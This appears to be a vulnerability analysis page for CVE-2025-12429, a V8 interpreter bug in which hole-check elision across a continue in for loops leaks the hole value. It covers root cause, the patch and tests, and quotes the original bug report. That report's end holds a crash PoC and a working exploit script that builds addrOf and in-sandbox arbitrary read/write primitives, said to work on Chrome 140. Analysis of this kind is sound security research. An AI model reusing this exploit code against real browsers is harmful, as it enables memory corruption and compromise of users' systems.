CVE-2025-12429
Overview
Background
- Hole check
- A runtime guard the V8 interpreter emits before reading a
let/constbinding, throwingReferenceError: Cannot access before initializationif the slot still holds the “hole” (uninitialized) sentinel. - Hole check elision
- A
BytecodeGeneratoroptimization that omits a hole check once a binding is provably initialized along the current control-flow path, tracked per-scope so redundant guards are dropped. - `HoleCheckElisionMergeScope`
- A scope helper in
bytecode-generator.ccthat reconciles the set of elided/checked bindings across branches so an elision only survives if it holds on every incoming path. - `ControlScopeForIteration`
- The
ControlScopesubclass that handlesbreak/continueinside loop bodies and knows where acontinuejumps to.
Root Cause Analysis
When compiling a classic for (start; cond; next) { body } loop, BuildIterationBody in bytecode-generator.cc visited body and next under a single shared hole-check-elision scope, assuming any binding initialized during body was also initialized by the time next ran. This invariant is violated by a continue inside body: control can jump directly to next without executing the tail of body, so a binding that body would have initialized may still be the hole when next reads it. Because the elision state from the abandoned body tail leaked into next, the generator could wrongly conclude the binding was initialized and elide the hole check in next, allowing an uninitialized let to be read without the expected ReferenceError.
The fix treats body as “branchy”: it wraps Visit(stmt->body()) in a HoleCheckElisionMergeScope::Branch, merges each continue into the scope via merge_elider_.MergeBranch(), and calls merge_elider().Merge() before binding the continue target, so next only elides checks that hold on both the body-fall-through and every continue path.
body and next as if body always ran to completion, ignoring that continue short-circuits to next; the fix merges the elision state of every continue edge (plus the body end) before next, so a binding is only assumed initialized where that is true on all paths.Attack Path
- Craft a mismatched loop
Write a
forloop whosenextexpression reads a lexical binding (let y) that is only initialized deeper inside the loopbody. - Add an early continue
Place a
continueearly inbody(e.g.if (i == 0) continue;) so the first iteration jumps tonextbeforeywould be initialized. - Trigger faulty elision
The old
BuildIterationBodyshares one elision scope, so the initialization ofyseen later inbodycauses the hole check foryinnextto be elided. - Read the hole
On the
continueiteration,nextreadsywhile it still holds the hole sentinel, with no guard emitted. - Observe wrong behavior
Instead of the mandated
ReferenceError, the hole value flows into program logic, violating the language’s temporal-dead-zone semantics.
Impact Assessment
ReferenceError. This is a logic error in the V8 interpreter reachable purely from script; the precondition is a for (start; cond; next) loop whose next accesses a let/const initialized only later in a body that contains a continue. Exposing the hole sentinel to script is a known primitive for further type-confusion and memory-corruption exploitation of V8.Changed Functions
| Function | Change | Notes |
|---|---|---|
for |
modified | |
loop_builder_src/interpreter/bytecode-generator.cc |
modified | |
merge_elider_src/interpreter/bytecode-generator.cc |
modified | |
fortest/message/fail/for-of-uninitialized.js |
modified | |
fortest/message/fail/for-of-uninitialized.out |
modified |
Files Changed
src/interpreter/bytecode-generator.cctest/message/fail/for-of-uninitialized.jstest/message/fail/for-of-uninitialized.out
Audit Directions
- Shared elision scopes across control-flow joinsReview every place a single
HoleCheckElisionMergeScopespans regions that abreak,continue,return, or exception can jump between without running to the end. - Loop desugaring assumptionsAudit other loop forms (
for-in,for-of,while,do-while) and theirnext/update sections for the same assumption that the body always completes before the update runs. - Branchy statements and TDZLook for any hole-check elision that trusts initialization performed after a conditional early-exit, where a binding may still be in its temporal dead zone on some path.
Patch
From 1f5fbf68240881514b88112d13c146facdb60244 Mon Sep 17 00:00:00 2001
From: Toon Verwaest <verwaest@chromium.org>
Date: Fri, 10 Oct 2025 16:48:24 +0200
Subject: [PATCH] [interpreter] Merge hole elision info on continue
for loops that are structured
for (start; cond; next) { body }
currently have a single scope for
body
next
but that's wrong, since body isn't guaranteed to run to the end before
running next. There might be a `continue`. This considers `body` to be
"branchy" with any continue merging before next, as well as the body
end itself.
Bug: 450618029
Change-Id: I0156e1c02eeafad880bd324f1f5441023d53139d
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7030683
Auto-Submit: Toon Verwaest <verwaest@chromium.org>
Commit-Queue: Toon Verwaest <verwaest@chromium.org>
Reviewed-by: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#103064}
---
diff --git a/src/interpreter/bytecode-generator.cc b/src/interpreter/bytecode-generator.cc
index 37faf63..6d44462 100644
--- a/src/interpreter/bytecode-generator.cc
+++ b/src/interpreter/bytecode-generator.cc
@@ -589,7 +589,10 @@
LoopBuilder* loop_builder)
: ControlScope(generator),
statement_(statement),
- loop_builder_(loop_builder) {}
+ loop_builder_(loop_builder),
+ merge_elider_(generator) {}
+
+ HoleCheckElisionMergeScope& merge_elider() { return merge_elider_; }
protected:
bool Execute(Command command, Statement* statement,
@@ -601,6 +604,7 @@
loop_builder_->Break();
return true;
case CMD_CONTINUE:
+ merge_elider_.MergeBranch(generator());
PopContextToExpectedDepth();
loop_builder_->Continue();
return true;
@@ -615,6 +619,7 @@
private:
Statement* statement_;
LoopBuilder* loop_builder_;
+ HoleCheckElisionMergeScope merge_elider_;
};
// Scoped class for enabling 'throw' in try-catch constructs.
@@ -3119,7 +3124,12 @@
LoopBuilder* loop_builder) {
loop_builder->LoopBody();
ControlScopeForIteration execution_control(this, stmt, loop_builder);
- Visit(stmt->body());
+ {
+ HoleCheckElisionMergeScope::Branch branch_elider(
+ execution_control.merge_elider());
+ Visit(stmt->body());
+ }
+ execution_control.merge_elider().Merge();
loop_builder->BindContinueTarget();
}
diff --git a/test/message/fail/for-of-uninitialized.js b/test/message/fail/for-of-uninitialized.js
new file mode 100644
index 0000000..d695582
--- /dev/null
+++ b/test/message/fail/for-of-uninitialized.js
@@ -0,0 +1,15 @@
+// Copyright 2025 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+function test() {
+ for (var i = 0; i < 1; y) {
+ if (i == 0)
+ continue;
+ y;
+
+ }
+ let y;
+}
+
+test();
diff --git a/test/message/fail/for-of-uninitialized.out b/test/message/fail/for-of-uninitialized.out
new file mode 100644
index 0000000..f488b05
--- /dev/null
+++ b/test/message/fail/for-of-uninitialized.out
@@ -0,0 +1,7 @@
+*%(basename)s:6: ReferenceError: Cannot access 'y' before initialization
+ for (var i = 0; i < 1; y) {
+ ^
+ReferenceError: Cannot access 'y' before initialization
+ at test (*%(basename)s:6:28)
+ at *%(basename)s:15:1
+
Original Bug Report
TDZ check elision leading to hole leak
Summary
Hole checks can be incorrectly elided when processing a for statement, potentially resulting in hole leak and type confusion.
RCA
When handling for statements, the bytecode generator follows a specific dominator order in which it assumes BODY dominates NEXT, so they share the same elision scope. However, this is not always the case for statements in BODY and NEXT.
// C-style for loops' textual order differs from dominator order.
//
// for (INIT; TEST; NEXT) BODY
// REST
//
// has the dominator order of
//
// INIT dominates TEST dominates BODY dominates NEXT
As demonstrated in the code at BytecodeGenerator::VisitForStatement, both BODY and NEXT reside within the same elision scope. For example, if a variable y is initialized in BODY and a CONTINUE statement exists prior to its initialization, y will be incorrectly marked as initialized. Consequently, when y is used in the NEXT statement, the hole check will be improperly elided in NEXT before usage, leaking hole values into the JavaScript scope.
HoleCheckElisionScope elider(this);
VisitIterationBody(stmt, &loop_builder);
if (stmt->next() != nullptr) {
builder()->SetStatementPosition(stmt->next());
Visit(stmt->next());
}
POC
The following PoC was tested against the latest commit fed47445bbdd1a69b70f2b93a761c62c1e0f769c at the time of reporting, using the pre-compiled debug binary from gs://v8-asan/mac-debug/d8-asan-mac-debug-v8-component-103041.zip.
function use(x) {
% DebugPrint(x);
let map = new Map();
map.delete(x);
}
function pwn() {
for (var i = 0; i < 1; use(y)) {
if (i == 0)
continue;
y;
}
let y;
}
pwn();
output:
DebugPrint: 0x7900020001: [Hole] in ReadOnlySpace
<the_hole_value>
0x7900000745: [Map] in ReadOnlySpace
- map: 0x007900000475 <MetaMap (0x00790000002d <null>)>
- type: HOLE_TYPE
- instance size: 4
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x007900000011 <undefined>
- prototype_validity_cell: 0
- instance descriptors (own) #0: 0x0079000007e5 <DescriptorArray[0]>
- prototype: 0x00790000002d <null>
- constructor: 0x00790000002d <null>
- dependent code: 0x0079000007cd <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
#
# Fatal error in ../../src/objects/objects-inl.h, line 2073
# Debug check failed: instance_type != HOLE_TYPE (HOLE_TYPE (272) vs. HOLE_TYPE (272)).
#
#
#
#FailureMessage Object: 0x12f477c60
==== C stack trace ===============================
0 d8 0x00000001097ea6d3 v8::base::debug::StackTrace::StackTrace() + 19
1 d8 0x0000000109800d91 v8::platform::(anonymous namespace)::PrintStackTrace() + 305
2 d8 0x00000001097b384a V8_Fatal(char const*, int, char const*, ...) + 666
3 d8 0x00000001097b2a2f v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
4 d8 0x0000000100c1bc0f v8::internal::Object::GetSimpleHash(v8::internal::Tagged<v8::internal::Object>) + 2959
5 d8 0x0000000100b86280 v8::internal::Object::GetHash(v8::internal::Tagged<v8::internal::Object>) + 192
6 d8 0x0000000102dcf759 v8::internal::OrderedHashMap::GetHash(v8::internal::Isolate*, unsigned long) + 185
7 ??? 0x000000018d17281b 0x0 + 6662072347
8 ??? 0x000000018cc50685 0x0 + 6656689797
9 ??? 0x000000018cc50685 0x0 + 6656689797
[1] 99221 trace trap ./d8 --allow-natives-syntax poc.js
Exploit
Vulnerability exploitation is possible through existing techniques, as demonstrated in CVE-2025-6554, which was resolved by commit 869dc4afa04b792da08e7a6e01d4981b4118c894.
The following script demonstrates the ability to perform arbitrary read and write operations within the sandbox, tested and confirmed to work on both the parent commit 9ba45bdfdd8 and the latest Chrome Extended Stable version 140.0.7339.240.
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.dv = new DataView(this.buf);
this.u8 = new Uint8Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.f64 = new Float64Array(this.buf);
this.roots = new Array(0x30000);
this.index = 0;
}
pair_i32_to_f64(p1, p2) {
this.u32[0] = p1;
this.u32[1] = p2;
return this.f64[0];
}
i64tof64(i) {
this.u64[0] = i;
return this.f64[0];
}
f64toi64(f) {
this.f64[0] = f;
return this.u64[0];
}
set_i64(i) {
this.u64[0] = i;
}
set_l(i) {
this.u32[0] = i;
}
set_h(i) {
this.u32[1] = i;
}
get_i64() {
return this.u64[0];
}
ftoil(f) {
this.f64[0] = f;
return this.u32[0];
}
ftoih(f) {
this.f64[0] = f;
return this.u32[1];
}
add_ref(object) {
this.roots[this.index++] = object;
}
mark_sweep_gc() {
new ArrayBuffer(0x7fe00000);
}
scavenge_gc() {
for (var i = 0; i < 8; i++) {
// fill up new space external backing store bytes
this.add_ref(new ArrayBuffer(0x200000));
}
this.add_ref(new ArrayBuffer(8));
}
hex(i) {
return i.toString(16).padStart(16, "0");
}
breakpoint() {
this.buf.slice();
}
}
var helper = new Helpers();
helper.mark_sweep_gc();
helper.mark_sweep_gc();
function pwn(trigger) {
var hole;
for (var i = 0; i < 1; hole = y, i++) {
if (i == 0) continue;
y;
}
let y;
let o = {};
o.s = trigger ? hole : "not the hole";
var s = 2 - (Math.sign(o.s.length) + 1);
var i = 2 * ((5 - (s + 4)) >> 1) + 2;
let idx = i * 200;
let arr = new Array(8);
let flt_arr = [1.1];
let obj_arr = [flt_arr, flt_arr];
arr[0] = 13.37;
arr[idx] = 13.37;
return [arr, flt_arr, obj_arr];
}
for (var i = 0; i < 0x100000; i++) {
pwn(false);
pwn(false);
pwn(false);
pwn(false);
}
let [corrupted, flt_arr, obj_arr] = pwn(true);
function addrOf(obj) {
obj_arr[0] = obj;
return helper.ftoil(corrupted[15]);
}
function aar(addr) {
corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
return flt_arr[0];
}
function read8(addr) {
return helper.f64toi64(aar(addr));
}
function read4(addr) {
return helper.ftoil(aar(addr));
}
function aaw(addr, value) {
corrupted[13] = helper.pair_i32_to_f64(addr - 7, 0x10);
flt_arr[0] = value;
}
function write8(addr, value) {
aaw(addr, helper.i64tof64(value));
}
function write4(addr, value) {
aaw(addr, helper.pair_i32_to_f64(value, read4(addr + 4)));
}
Bitsect
The issue was introduced by commit 7ce3a5517944fdac428313d80f8cd49474dce667 and enabled by commit 5593d76d69094933d115d496d14aa0c2fde0c266